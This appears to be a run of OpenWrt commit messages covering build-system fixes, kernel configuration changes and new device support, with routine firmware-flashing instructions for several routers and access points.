/bin/sh: line 1: which: command not found
/bin/sh: line 1: which: command not found
...
Checking 'python3'... failed.
...
Fix this by switching to Bash builtin `command` which should provide
same functionality.
Fixes: FS#3525
Signed-off-by: Petr Štetiar <ynezz@true.cz>
It is good practice to define device tree files based on specific
SoCs. Thus, let's not start to create files that are used across
different architectures.
Duplicate the DTSI file for D-Link DAP-2xxx in order to have one
for qca953x and one for qca955x, respectively.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The device is a one-port, but was set up as two-port by the
default case in 02_network. Fix it.
Signed-off-by: Sebastian Schaper <openwrt@sebastianschaper.net>
[commit title/message facelift]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Specifications:
* QCA9533, 16 MiB Flash, 64 MiB RAM, 802.11n 2T2R
* 10/100 Ethernet Port, 802.11af PoE
* IP55 pole-mountable outdoor case
Installation:
* Factory Web UI is at 192.168.0.50
login with 'admin' and blank password, flash factory.bin
* Recovery Web UI is at 192.168.0.50
connect network cable, hold reset button during power-on and keep it
pressed until uploading has started (only required when checksum is ok,
e.g. for reverting back to oem firmware), flash factory.bin
After flashing factory.bin, additional free space can be reclaimed by
flashing sysupgrade.bin, since the factory image requires some padding
to be accepted for upgrading via OEM Web UI.
Signed-off-by: Sebastian Schaper <openwrt@sebastianschaper.net>
Specifications:
* QCA9558, 16 MiB Flash, 256 MiB RAM, 802.11n 3T3R
* QCA9984, 802.11ac Wave 2 3T3R
* Gigabit LAN Port (AR8035), 802.11at PoE
Installation:
* Factory Web UI is at 192.168.0.50
login with 'admin' and blank password, flash factory.bin
* Recovery Web UI is at 192.168.0.50
connect network cable, hold reset button during power-on and keep it
pressed until uploading has started (only required when checksum is ok,
e.g. for reverting back to oem firmware), flash factory.bin
After flashing factory.bin, additional free space can be reclaimed by
flashing sysupgrade.bin, since the factory image requires some padding
to be accepted for upgrading via OEM Web UI.
Signed-off-by: Sebastian Schaper <openwrt@sebastianschaper.net>
Specifications:
* QCA9533, 16 MiB Flash, 64 MiB RAM, 802.11n 2T2R
* 10/100 Ethernet Port, 802.11af PoE
Installation:
* Factory Web UI is at 192.168.0.50
login with 'admin' and blank password, flash factory.bin
* Recovery Web UI is at 192.168.0.50
connect network cable, hold reset button during power-on and keep it
pressed until uploading has started (only required when checksum is ok,
e.g. for reverting back to oem firmware), flash factory.bin
After flashing factory.bin, additional free space can be reclaimed by
flashing sysupgrade.bin, since the factory image requires some padding
to be accepted for upgrading via OEM Web UI.
Signed-off-by: Sebastian Schaper <openwrt@sebastianschaper.net>
Adds a new function get_magic_fat32() in base-files to read FAT32 magic.
Now FAT32 EFI system partition can be handled in the same way as FAT12/FAT16.
Signed-off-by: Kagurazaka Kotori <kagurazakakotori@gmail.com>
[replace '-o' with '] || [' to satisfy shellsheck]
Signed-off-by: Paul Spooren <mail@aparcar.org>
This package is not needed in base. It will be imported in the packages
feed.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Acked-by: Paul Spooren <mail@aparcar.org>
The package `usbutils` already offers an USB reset function, this
package is therefore not really required standalone.
CC: Jo-Philipp Wich <jo@mein.io>
Signed-off-by: Paul Spooren <mail@aparcar.org>
This adds an option "hostapd_bss_options" that does the same as
"hostapd_options" but on a per-BSS level, instead of a per-device level.
This can be used, for example, to configure different per-devce sae_passwords
per BSS or to augment some of the existing per-BSS options.
Signed-off-by: Florian Beverborg <flo@beverb.org>
[remove whitespace errors, bump release]
Signed-off-by: Paul Spooren <mail@aparcar.org>
Commit 29ca10e537 ("ipq806x: remove support for kernel 4.19") moved
DTS files to "files" directory, but after that a new DTS file was added
to the former "files-5.4" directory. Move it to the new directory.
Fixes: 98b86296e6 ("ipq806x: add support for ASRock G10")
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Kernel config does not need to be executable. 644 is enough.
Fixes: 25d9df670b ("mediatek: add v5.4 support")
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
[split by targets]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
DTS files do not need to be executable. 644 is enough.
Fixes: 0fbdb51f76 ("ipq40xx: add Edgecore OAP-100 support")
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
[split by targets]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The phy label/node name should correspond to the reg property.
While at it, use more common decimal notation for reg property itself.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Legacy minstrel is essentially unmaintained and was showing poor performance
Replace it with minstrel_ht and improve rate selection and sampling behavior
Signed-off-by: Felix Fietkau <nbd@nbd.name>
The qemustart script currently picks the ext4 filesystem rather than
squashfs, while the latter is default for nearly all OpenWrt targets.
Change the default behaviour of qemustart to be in line with the rest.
Signed-off-by: Paul Spooren <mail@aparcar.org>
This fixes the following build problem in hostapd:
mipsel-openwrt-linux-musl/bin/ld: /builder/shared-workdir/build/tmp/ccN4Wwer.ltrans7.ltrans.o: in function `crypto_ec_point_add':
<artificial>:(.text.crypto_ec_point_add+0x170): undefined reference to `ecc_projective_add_point'
mipsel-openwrt-linux-musl/bin/ld: <artificial>:(.text.crypto_ec_point_add+0x18c): undefined reference to `ecc_map'
mipsel-openwrt-linux-musl/bin/ld: /builder/shared-workdir/build/tmp/ccN4Wwer.ltrans7.ltrans.o: in function `crypto_ec_point_to_bin':
<artificial>:(.text.crypto_ec_point_to_bin+0x40): undefined reference to `ecc_map'
Fixes: ba40da9045 ("wolfssl: Update to v4.6.0-stable")
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This reverts commit 57e4cc8261.
Cmdline override patch was fixed. It's time for reenable
Asrock G10 support.
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
Tested-by: Hannu Nyman <hannu.nyman@iki.fi> (run-tested for R7800)
900-arm-add-cmdline-override.patch have missplaced entry in
arch/arm/Kconfig file. It causes problem with other cmdline
patches. This patch put Kconfig entry in correct place.
Fixes: 98b86296e6 ("ipq806x: add support for ASRock G10")
Suggested-by: Hannu Nyman <hannu.nyman@iki.fi>
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
Tested-by: Hannu Nyman <hannu.nyman@iki.fi> (run-tested for R7800)
With commit 2ca084cc ("build: improve ccache support") these variables
are being set globally and we don't need them for specific targets.
Signed-off-by: Sven Wegener <sven.wegener@stealer.net>
The symbol determines if the libevent2-pthreads libraries get built or not.
If we want to select libevent2-pthreads, and these haven't been built, an
error will occur mentioning that there are no 'libevent_pthreads-2.1.so'
files.
Adding CONFIG_PACKAGE_libevent2-pthreads to PKG_CONFIG_DEPEND will make
sure that the libraries get re-built in case libevent2-pthreads is
selected.
Signed-off-by: Alexandru Ardelean <ardeleanalex@gmail.com>
The `functions.sh` script has `config_get_bool()` function, which is
usable when using UCI config direct access API, but there is no
equivalent for the callback API. Introduce `get_bool()` function to
allow reusing it from init scripts.
Example:
```sh
option_cb() {
local option="$1"
local value="$(get_bool "$2")"
...
}
```
Signed-off-by: Oldřich Jedlička <oldium.pro@gmail.com>
Since we're now able to select CONFIG_NET_UDP_TUNNEL at will, drop the fake
dependencies.
This is a partial revert of commit d7e040f8bc
"kernel: add fake users for udptunnel and iptunnel modules".
Signed-off-by: Rui Salvaterra <rsalvaterra@gmail.com>
UDP tunneling support isn't user-selectable, but it's required by WireGuard
which is, for the time being, an out-of-tree module. We currently work around
this issue by selecting an unrelated module which depends on UDP tunnelling
(VXLAN). This is inconvenient, as it implies this unrelated module needs to be
built-in when doing a monolithic build.
Fix this inconvenience by making UDP tunneling user-selectable in the kernel
configuration.
Signed-off-by: Rui Salvaterra <rsalvaterra@gmail.com>
While parsing the nm output, we need to account for the fact that 64-bit kernels
have 64-bit wide addresses. While at it, replace the grep | sed combo with a
single awk invocation and a stronger regex.
Fixes: 2ef0acc5fc "kernel-build: fix
STRIP_KERNEL_EXPORTS for recent kernels"
Signed-off-by: Rui Salvaterra <rsalvaterra@gmail.com>
This patch bumps cryptodev-linux to the latest stable release (1.11) and fixes
compilation against the next LTS (and likely OpenWrt) kernel 5.10.
Signed-off-by: Stijn Segers <foss@volatilesystems.org>
Fixed license information.
Adjusted Makefile to new install paths.
Backported upstream patch to fix compilation with musl. Replaces local
and incomplete patch.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
This patch was already applied upstream and not needed here.
Fixes: 06403981e1 ("ppp: update to version 2.4.7.git-2019-05-06")
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This version fixes a large number of bugs, although no security
vulnerabilities are listed.
Full changelog at:
https://www.wolfssl.com/docs/wolfssl-changelog/
or, as part of the version's README.md:
https://github.com/wolfSSL/wolfssl/blob/v4.6.0-stable/README.md
Due a number of API additions, size increases from 374.7K to 408.8K for
arm_cortex_a9_vfpv3-d16. The ABI does not change from previous version.
Backported patches were removed; remaining patch was refreshed.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
This patch was backported to the 5.4 kernel tree as commit
c2d5c4df27e0 at least since release v5.4.28. Since then, it enables RX
an TX ready override twice.
Signed-off-by: David Bauer <mail@david-bauer.net>
glibc started to return errors from dlerror() for dlsym() lookup failures which
results in a lot of messages from fakeroot like
dlsym(acl_get_fd): staging_dir/host/lib/libfakeroot.so: undefined symbol: acl_get_fd
dlsym(acl_get_file): staging_dir/host/lib/libfakeroot.so: undefined symbol: acl_get_file
dlsym(acl_set_fd): staging_dir/host/lib/libfakeroot.so: undefined symbol: acl_set_fd
when building OpenWrt using a recent glibc. Use the patch from the upstream
Debian package to silence these messages.
Link: https://bugs.debian.org/830912
Fixes: FS#3393
Signed-off-by: Sven Wegener <sven.wegener@stealer.net>
Multiple prereq checks are only required within the build system but not
for the ImageBuilder. These checks are excluded by using ifndef IB.
This commit merges the three ifndef IB blocks together.
Signed-off-by: Paul Spooren <mail@aparcar.org>
By setting 'auto', the zero address or the empty string as source
address (option ipaddr, option ip6addr), vxlan will choose one
dynamically. This helps in setups where a wan ip or prefix changes.
This corresponse to setting up an vxlan tunnel with:
proto vxlan6:
# ip link add vx0 type vxlan id ID local :: ...
proto vxlan:
# ip link add vx0 type vxlan id ID local 0.0.0.0 ...
While it is possible to not specify a source ip at all, the kernel will
default to setting up a ipv4 tunnel. The kernel will take any hint from
source and peer ips to figure out, what tunnel type to use. To make sure
we setup an ipv6 tunnel for proto vxlan6, this workaround is needed.
This will not change the behaviour of currently working configurations.
However this will allow former broken configurations, namely those not
specifying both a source address and tunnel interface, to setup a
tunnel interface. Previously those configurations weren't reporting an
error and were stueck in a setup loop like in Bug FS#3426.
This change lifts the currently very strict behaviour and should fix the
following bug:
Fixes: FS#3426
Ref: https://bugs.openwrt.org/index.php?do=details&task_id=3426
Signed-off-by: Johannes Kimmel <fff@bareminimum.eu>
Upstream switched to building with CMake. Adjust accordingly.
Reapplied patch as upstream changed the file format.
Added HOST_BUILD_PARALLEL for faster compilation.
Added cmake tool dependency and removed circular dependencies as a
result.
Adjusted dependent tools to use NOCACHE as they are needed to build
ccache.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Since updating the MDIO driver, the probe will fail hard on any
PHY not present on the bus, while this was not the case prior.
Fixes commit 26b1f72381 ("ipq40xx: net: phy: ar40xx: remove PHY
handling")
Signed-off-by: David Bauer <mail@david-bauer.net>
Device specifications:
======================
* Qualcomm/Atheros AR9344 rev 2
* 560/450/225 MHz (CPU/DDR/AHB)
* 64 MB of RAM
* 16 MB of SPI NOR flash
- 2x 7 MB available; but one of the 7 MB regions is the recovery image
* 2x 10/100 Mbps Ethernet
* 2T2R 5 GHz Wi-Fi
* 6x GPIO-LEDs (3x wifi, 2x ethernet, 1x power)
* 1x GPIO-button (reset)
* external h/w watchdog (enabled by default)
* TTL pins are on board (arrow points to VCC, then follows: GND, TX, RX)
* 2x fast ethernet
- eth0
+ builtin switch port 1
+ used as LAN interface
- eth1
+ 18-24V passive POE (mode B)
+ used as WAN interface
* 12-24V 1A DC
* internal antennas
WAN/LAN LEDs appear to be wrong in ar71xx and have been swapped here.
Flashing instructions:
======================
Various methods can be used to install the actual image on the flash.
Two easy ones are:
ap51-flash
----------
The tool ap51-flash (https://github.com/ap51-flash/ap51-flash) should be
used to transfer the image to the u-boot when the device boots up.
initramfs from TFTP
-------------------
The serial console must be used to access the u-boot shell during bootup.
It can then be used to first boot up the initramfs image from a TFTP server
(here with the IP 192.168.1.21):
setenv serverip 192.168.1.21
setenv ipaddr 192.168.1.1
tftpboot 0c00000 <filename-of-initramfs-kernel>.bin && bootm $fileaddr
The actual sysupgrade image can then be transferred (on the LAN port) to the
device via
scp <filename-of-squashfs-sysupgrade>.bin root@192.168.1.1:/tmp/
On the device, the sysupgrade must then be started using
sysupgrade -n /tmp/<filename-of-squashfs-sysupgrade>.bin
Signed-off-by: Sven Eckelmann <sven@narfation.org>
[add LED swap comment]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Device specifications:
======================
* Qualcomm/Atheros AR9330 rev 1
* 400/400/200 MHz (CPU/DDR/AHB)
* 64 MB of RAM
* 16 MB of SPI NOR flash
- 2x 7 MB available; but one of the 7 MB regions is the recovery image
* 2x 10/100 Mbps Ethernet
* 1T1R 2.4 GHz Wi-Fi
* 6x GPIO-LEDs (3x wifi, 2x ethernet, 1x power)
* 1x GPIO-button (reset)
* external h/w watchdog (enabled by default)
* TTL pins are on board (arrow points to VCC, then follows: GND, TX, RX)
* 2x fast ethernet
- eth0
+ builtin switch port 1
+ used as LAN interface
- eth1
+ 18-24V passive POE (mode B)
+ used as WAN interface
* 12-24V 1A DC
* external antenna
Flashing instructions:
======================
Various methods can be used to install the actual image on the flash.
Two easy ones are:
ap51-flash
----------
The tool ap51-flash (https://github.com/ap51-flash/ap51-flash) should be
used to transfer the image to the u-boot when the device boots up.
initramfs from TFTP
-------------------
The serial console must be used to access the u-boot shell during bootup.
It can then be used to first boot up the initramfs image from a TFTP server
(here with the IP 192.168.1.21):
setenv serverip 192.168.1.21
setenv ipaddr 192.168.1.1
tftpboot 0c00000 <filename-of-initramfs-kernel>.bin && bootm $fileaddr
The actual sysupgrade image can then be transferred (on the LAN port) to
the device via
scp <filename-of-squashfs-sysupgrade>.bin root@192.168.1.1:/tmp/
On the device, the sysupgrade must then be started using
sysupgrade -n /tmp/<filename-of-squashfs-sysupgrade>.bin
Signed-off-by: Sven Eckelmann <sven@narfation.org>
Device specifications:
======================
* Qualcomm/Atheros AR9330 rev 1
* 400/400/200 MHz (CPU/DDR/AHB)
* 64 MB of RAM
* 16 MB of SPI NOR flash
- 2x 7 MB available; but one of the 7 MB regions is the recovery image
* 2x 10/100 Mbps Ethernet
* 1T1R 2.4 GHz Wi-Fi
* 6x GPIO-LEDs (3x wifi, 2x ethernet, 1x power)
* 1x GPIO-button (reset)
* external h/w watchdog (enabled by default)
* TTL pins are on board (arrow points to VCC, then follows: GND, TX, RX)
* 2x fast ethernet
- eth0
+ builtin switch port 1
+ used as LAN interface
- eth1
+ 18-24V passive POE (mode B)
+ used as WAN interface
* 12-24V 1A DC
* internal antennas
Flashing instructions:
======================
Various methods can be used to install the actual image on the flash.
Two easy ones are:
ap51-flash
----------
The tool ap51-flash (https://github.com/ap51-flash/ap51-flash) should be
used to transfer the image to the u-boot when the device boots up.
initramfs from TFTP
-------------------
The serial console must be used to access the u-boot shell during bootup.
It can then be used to first boot up the initramfs image from a TFTP server
(here with the IP 192.168.1.21):
setenv serverip 192.168.1.21
setenv ipaddr 192.168.1.1
tftpboot 0c00000 <filename-of-initramfs-kernel>.bin && bootm $fileaddr
The actual sysupgrade image can then be transferred (on the LAN port) to
the device via
scp <filename-of-squashfs-sysupgrade>.bin root@192.168.1.1:/tmp/
On the device, the sysupgrade must then be started using
sysupgrade -n /tmp/<filename-of-squashfs-sysupgrade>.bin
Signed-off-by: Sven Eckelmann <sven@narfation.org>
The find command to retrieve files from /etc/sysupgrade.conf and
/lib/upgrade/keep.d/* is used twice in almost the same way.
Move it into a function to consolidate, enhance readability and make
future adjustments easier.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Acked-by: Paul Spooren <mail@aparcar.org>
Reviewed-by: Philip Prindeville <philipp@redfish-solutions.com>
Invoke bundle-libraries.sh with any buildroot related directory entries
removed from $PATH to avoid picking up cross versions of utilities like
ldd which will not properly work when used against host executables.
This should fix executable bundling for glibc-target SDKs.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Invoke bundle-libraries.sh with any buildroot related directory entries
removed from $PATH to avoid picking up cross versions of utilities like
ldd which will not properly work when used against host executables.
This should fix executable bundling for glibc-target imagebuilders.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Device specifications:
======================
* Qualcomm/Atheros AR9341 rev 1
* 535/400/200 MHz (CPU/DDR/AHB)
* 64 MB of RAM
* 16 MB of SPI NOR flash
- 2x 7 MB available; but one of the 7 MB regions is the recovery image
* 2x 10/100 Mbps Ethernet
* 2T2R 2.4 GHz Wi-Fi
* 6x GPIO-LEDs (3x wifi, 2x ethernet, 1x power)
* 1x GPIO-button (reset)
* external h/w watchdog (enabled by default)
* TTL pins are on board (arrow points to VCC, then follows: GND, TX, RX)
* 2x fast ethernet
- eth0
+ 802.3af POE
+ builtin switch port 1
+ used as LAN interface
- eth1
+ 18-24V passive POE (mode B)
+ used as WAN interface
* 12-24V 1A DC
* internal antennas
Flashing instructions:
======================
Various methods can be used to install the actual image on the flash.
Two easy ones are:
ap51-flash
----------
The tool ap51-flash (https://github.com/ap51-flash/ap51-flash) should be
used to transfer the image to the u-boot when the device boots up.
initramfs from TFTP
-------------------
The serial console must be used to access the u-boot shell during bootup.
It can then be used to first boot up the initramfs image from a TFTP server
(here with the IP 192.168.1.21):
setenv serverip 192.168.1.21
setenv ipaddr 192.168.1.1
tftpboot 0c00000 <filename-of-initramfs-kernel>.bin && bootm $fileaddr
The actual sysupgrade image can then be transferred (on the LAN port) to
the device via
scp <filename-of-squashfs-sysupgrade>.bin root@192.168.1.1:/tmp/
On the device, the sysupgrade must then be started using
sysupgrade -n /tmp/<filename-of-squashfs-sysupgrade>.bin
Signed-off-by: Sven Eckelmann <sven@narfation.org>
Device specifications:
======================
* Qualcomm/Atheros AR9341 rev 1
* 535/400/200 MHz (CPU/DDR/AHB)
* 64 MB of RAM
* 16 MB of SPI NOR flash
- 2x 7 MB available; but one of the 7 MB regions is the recovery image
* 2x 10/100 Mbps Ethernet
* 2T2R 2.4 GHz Wi-Fi
* 6x GPIO-LEDs (3x wifi, 2x ethernet, 1x power)
* 1x GPIO-button (reset)
* external h/w watchdog (enabled by default)
* TTL pins are on board (arrow points to VCC, then follows: GND, TX, RX)
* 2x fast ethernet
- eth0
+ 802.3af POE
+ builtin switch port 1
+ used as LAN interface
- eth1
+ 18-24V passive POE (mode B)
+ used as WAN interface
* 12-24V 1A DC
* internal antennas
Flashing instructions:
======================
Various methods can be used to install the actual image on the flash.
Two easy ones are:
ap51-flash
----------
The tool ap51-flash (https://github.com/ap51-flash/ap51-flash) should be
used to transfer the image to the u-boot when the device boots up.
initramfs from TFTP
-------------------
The serial console must be used to access the u-boot shell during bootup.
It can then be used to first boot up the initramfs image from a TFTP server
(here with the IP 192.168.1.21):
setenv serverip 192.168.1.21
setenv ipaddr 192.168.1.1
tftpboot 0c00000 <filename-of-initramfs-kernel>.bin && bootm $fileaddr
The actual sysupgrade image can then be transferred (on the LAN port) to
the device via
scp <filename-of-squashfs-sysupgrade>.bin root@192.168.1.1:/tmp/
On the device, the sysupgrade must then be started using
sysupgrade -n /tmp/<filename-of-squashfs-sysupgrade>.bin
Signed-off-by: Sven Eckelmann <sven@narfation.org>
Device specifications:
======================
* Qualcomm/Atheros AR9341 rev 1
* 535/400/200 MHz (CPU/DDR/AHB)
* 64 MB of RAM
* 16 MB of SPI NOR flash
- 2x 7 MB available; but one of the 7 MB regions is the recovery image
* 2x 10/100 Mbps Ethernet
* 2T2R 2.4 GHz Wi-Fi
* 6x GPIO-LEDs (3x wifi, 2x ethernet, 1x power)
* 1x GPIO-button (reset)
* external h/w watchdog (enabled by default)
* TTL pins are on board (arrow points to VCC, then follows: GND, TX, RX)
* 2x fast ethernet
- eth0
+ 802.3af POE
+ builtin switch port 1
+ used as LAN interface
- eth1
+ 18-24V passive POE (mode B)
+ used as WAN interface
* 12-24V 1A DC
* internal antennas
Flashing instructions:
======================
Various methods can be used to install the actual image on the flash.
Two easy ones are:
ap51-flash
----------
The tool ap51-flash (https://github.com/ap51-flash/ap51-flash) should be
used to transfer the image to the u-boot when the device boots up.
initramfs from TFTP
-------------------
The serial console must be used to access the u-boot shell during bootup.
It can then be used to first boot up the initramfs image from a TFTP server
(here with the IP 192.168.1.21):
setenv serverip 192.168.1.21
setenv ipaddr 192.168.1.1
tftpboot 0c00000 <filename-of-initramfs-kernel>.bin && bootm $fileaddr
The actual sysupgrade image can then be transferred (on the LAN port) to
the device via
scp <filename-of-squashfs-sysupgrade>.bin root@192.168.1.1:/tmp/
On the device, the sysupgrade must then be started using
sysupgrade -n /tmp/<filename-of-squashfs-sysupgrade>.bin
Signed-off-by: Sven Eckelmann <sven@narfation.org>
[drop redundant status from eth1]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The upgrade script for the openmesh sysupgrade procedure used always an 1
byte block size. This made it easier to seek the correct position in the CE
image and to make sure the right amount of data was copied. But this also
meant that the reading/writing of data required an excessive amount of
syscalls and copy operations.
A 5.4MB big sysupgrade image on an OM2P-HS v3 needed roughly 120s for the
write operation (170s in total) during the sysupgrade.
But it is possible to reduce this overhead slightly:
* index access to read the file size can be done in single 8 byte chunk
(while doing the seek with byte granularity) because each size entry is
example 8 bytes long
* the fwupgrade.cfg can be read as one block (while seeking to its position
using its actual byte offset) because it should be rather small and fit
into the RAM easily
* the kernel can be read in 1KB blocks (while seking to its positions using
its actual byte offset) because the the size of the kernel is always a
multiple of the NOR flash block size (64KB and 256KB)
This results in a sysupgrade write time of roughly 90s (140s in total).
This could be reduced even further when also using larger chunks for the
rootfs. But the squashfs rootfs image is at the moment always
(256KB or 64KB) * block + 4 bytes
long. It would be expected that the time for the sysupgrade write could be
reduced to roughly 30s (80s in total) when busybox's dd would support
the iflag count_bytes.
Reported-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Signed-off-by: Sven Eckelmann <sven@narfation.org>
Device specifications:
======================
* Qualcomm/Atheros QCA9533 v2
* 650/600/217 MHz (CPU/DDR/AHB)
* 64 MB of RAM
* 16 MB of SPI NOR flash
- 2x 7 MB available; but one of the 7 MB regions is the recovery image
* 2x 10/100 Mbps Ethernet
* 2T2R 2.4 GHz Wi-Fi
* 6x GPIO-LEDs (3x wifi, 2x ethernet, 1x power)
* 1x GPIO-button (reset)
* external h/w watchdog (enabled by default)
* TTL pins are on board (arrow points to VCC, then follows: GND, TX, RX)
* 2x fast ethernet
- eth0
+ 24V passive POE (mode B)
+ used as WAN interface
- eth1
+ 802.3af POE
+ builtin switch port 1
+ used as LAN interface
* 12-24V 1A DC
* internal antennas
Flashing instructions:
======================
Various methods can be used to install the actual image on the flash.
Two easy ones are:
ap51-flash
----------
The tool ap51-flash (https://github.com/ap51-flash/ap51-flash) should be
used to transfer the image to the u-boot when the device boots up.
initramfs from TFTP
-------------------
The serial console must be used to access the u-boot shell during bootup.
It can then be used to first boot up the initramfs image from a TFTP server
(here with the IP 192.168.1.21):
setenv serverip 192.168.1.21
setenv ipaddr 192.168.1.1
tftpboot 0c00000 <filename-of-initramfs-kernel>.bin && bootm $fileaddr
The actual sysupgrade image can then be transferred (on the LAN port) to
the device via
scp <filename-of-squashfs-sysupgrade>.bin root@192.168.1.1:/tmp/
On the device, the sysupgrade must then be started using
sysupgrade -n /tmp/<filename-of-squashfs-sysupgrade>.bin
Signed-off-by: Sven Eckelmann <sven@narfation.org>
Device specifications:
======================
* Qualcomm/Atheros QCA9533 v2
* 650/600/217 MHz (CPU/DDR/AHB)
* 64 MB of RAM
* 16 MB of SPI NOR flash
- 2x 7 MB available; but one of the 7 MB regions is the recovery image
* 2x 10/100 Mbps Ethernet
* 1T1R 2.4 GHz Wi-Fi
* 6x GPIO-LEDs (3x wifi, 2x ethernet, 1x power)
* 1x GPIO-button (reset)
* external h/w watchdog (enabled by default)
* TTL pins are on board (arrow points to VCC, then follows: GND, TX, RX)
* 2x fast ethernet
- eth0
+ Label: Ethernet 1
+ 24V passive POE (mode B)
- eth1
+ Label: Ethernet 2
+ 802.3af POE
+ builtin switch port 1
* 12-24V 1A DC
* external antenna
Flashing instructions:
======================
Various methods can be used to install the actual image on the flash.
Two easy ones are:
ap51-flash
----------
The tool ap51-flash (https://github.com/ap51-flash/ap51-flash) should be
used to transfer the image to the u-boot when the device boots up.
initramfs from TFTP
-------------------
The serial console must be used to access the u-boot shell during bootup.
It can then be used to first boot up the initramfs image from a TFTP server
(here with the IP 192.168.1.21):
setenv serverip 192.168.1.21
setenv ipaddr 192.168.1.1
tftpboot 0c00000 <filename-of-initramfs-kernel>.bin && bootm $fileaddr
The actual sysupgrade image can then be transferred (on the LAN port) to
the device via
scp <filename-of-squashfs-sysupgrade>.bin root@192.168.1.1:/tmp/
On the device, the sysupgrade must then be started using
sysupgrade -n /tmp/<filename-of-squashfs-sysupgrade>.bin
Signed-off-by: Sven Eckelmann <sven@narfation.org>
[wrap two very long lines, fix typo in comment]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
After device support for ASRock G10 was added in [1], several
people reported broken ipq806x devices, with one or several of the
following symptoms:
- Device does not boot
- Sysupgrade does not work
- Serial console is broken
The issues appears to be caused by the introduction of the symbol
CONFIG_CMDLINE_OVERRIDE=y in [1].
This patch disables the corresponding symbol again and marks the
ASRock as BROKEN, as it probably won't work properly without it.
Further references:
https://bugs.openwrt.org/index.php?do=details&task_id=354098b86296e6 (commitcomment-45455875)
[1] 98b86296e6 ("ipq806x: add support for ASRock G10")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
sysupgrade.bin has been added to IMAGES twice, resulting in
warnings like:
Makefile:86: warning: overriding recipe for target
'[...]/tmp/openwrt-ath79-generic-dlink_dap-2660-a1-squashfs-sysupgrade.bin'
Makefile:86: warning: ignoring old recipe for target
'[...]/tmp/openwrt-ath79-generic-dlink_dap-2660-a1-squashfs-sysupgrade.bin'
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The current support for MikroTik NAND-based devices relies on a
gross hack that packs the kernel into a static YAFFS stub, as the
stock bootloader only supports booting a YAFFS-encapsulated kernel.
The problem with this approach is that since the kernel partition is
blindly overwritten without any kind of wear or badblock management
(due to lack of proper support for YAFFS in OpenWRT), the NAND flash
is not worn uniformly and eventually badblocks appear, leading to
unbootable devices.
This issue has been reported here [1] and discussed in more detail
here [2].
[1] https://forum.openwrt.org/t/rb433-bad-sector-cannot-start-openwrt/71519
[2] https://github.com/openwrt/openwrt/pull/3026#issuecomment-673597461
Until a proper fix is found (or the stock bootloader supports other
filesystems), we disable building these images to prevent unknowing
users from risking their devices.
Thanks to Thibaut Varène for summarizing the details above.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
A few devices in ath79 and ramips use mtd-concat to concatenate
individual partitions into a bigger "firmware" or "ubi" partition.
However, the original partitions are still present and visible,
and one can write to them directly although this might break the
actual virtual, concatenated partition.
As we cannot do much about the former, let's at least choose more
descriptive names than just "firmwareX" in order to indicate the
concatenation to the user. He might be less tempted into overwriting
a "fwconcat1" than a "firmware1", which might be perceived as an
alternate firmware for dual boot etc.
This applies the new naming consistently for all relevant devices,
i.e. fwconcatX for virtual "firmware" members and ubiconcatX for
"ubi" members.
While at it, use DT labels and label property consistently, and
also use consistent zero-based indexing.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Otherwise the missing symbol is added to target config for every kernel
config refresh.
While at it, remove the disabled symbol from target configs.
Fixes: 4943bc5cff ("kernel: only strip proc for small flash devices")
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Since generic has the option set to y and other targets now inherit that
choice, there is no behaviour change
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
The option was introduced in upstream linux commit a6484045 ("[TCP]: Do
not present confusing congestion control options by default.").
The option is set to y in generic config and to the moment does not
incur additional size increment. Make it y for all so that packages
such as kmod-tcp-bbr do not have to set it on every occasion
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
Specifications:
SOC: Qualcomm IPQ4018 (DAKOTA) ARM Quad-Core
RAM: 256 MiB
FLASH1: 4 MiB NOR
FLASH2: 128 MiB NAND
ETH: Qualcomm QCA8075
WLAN1: Qualcomm Atheros QCA4018 2.4GHz 802.11b/g/n 2x2
WLAN2: Qualcomm Atheros QCA4018 5GHz 802.11n/ac W2 2x2
INPUT: Reset
LED: Power, Internet
UART1: On board pin header near to LED (3.3V, TX, RX, GND), 3.3V without pin - 115200 8N1
OTHER: On board with BLE module - by cp210x USB serial chip
On board hareware watchdog with GPIO0 high to turn on, and GPIO4 for watchdog feed
Install via uboot tftp or uboot web failsafe.
By uboot tftp:
(IPQ40xx) # tftpboot 0x84000000 openwrt-ipq40xx-generic-glinet_gl-ap1300-squashfs-nand-factory.ubi
(IPQ40xx) # run lf
By uboot web failsafe:
Push the reset button for 10 seconds util the power led flash faster,
then use broswer to access http://192.168.1.1
Afterwards upgrade can use sysupgrade image.
Signed-off-by: Dongming Han <handongming@gl-inet.com>
This commit adds support for Qualcomm IPQ8062 SoC.
IPQ8062 is a lower clock variant of IPQ8064.
CPU and NSS clocks:
- CPU: 384 MHz - 1 GHz
- NSS: 110 MHz - 550 MHz
opp and l2 clock values are taken from WG2600HP3 GPL source code [1].
Due to a lack of devices, I didn't test the following features.
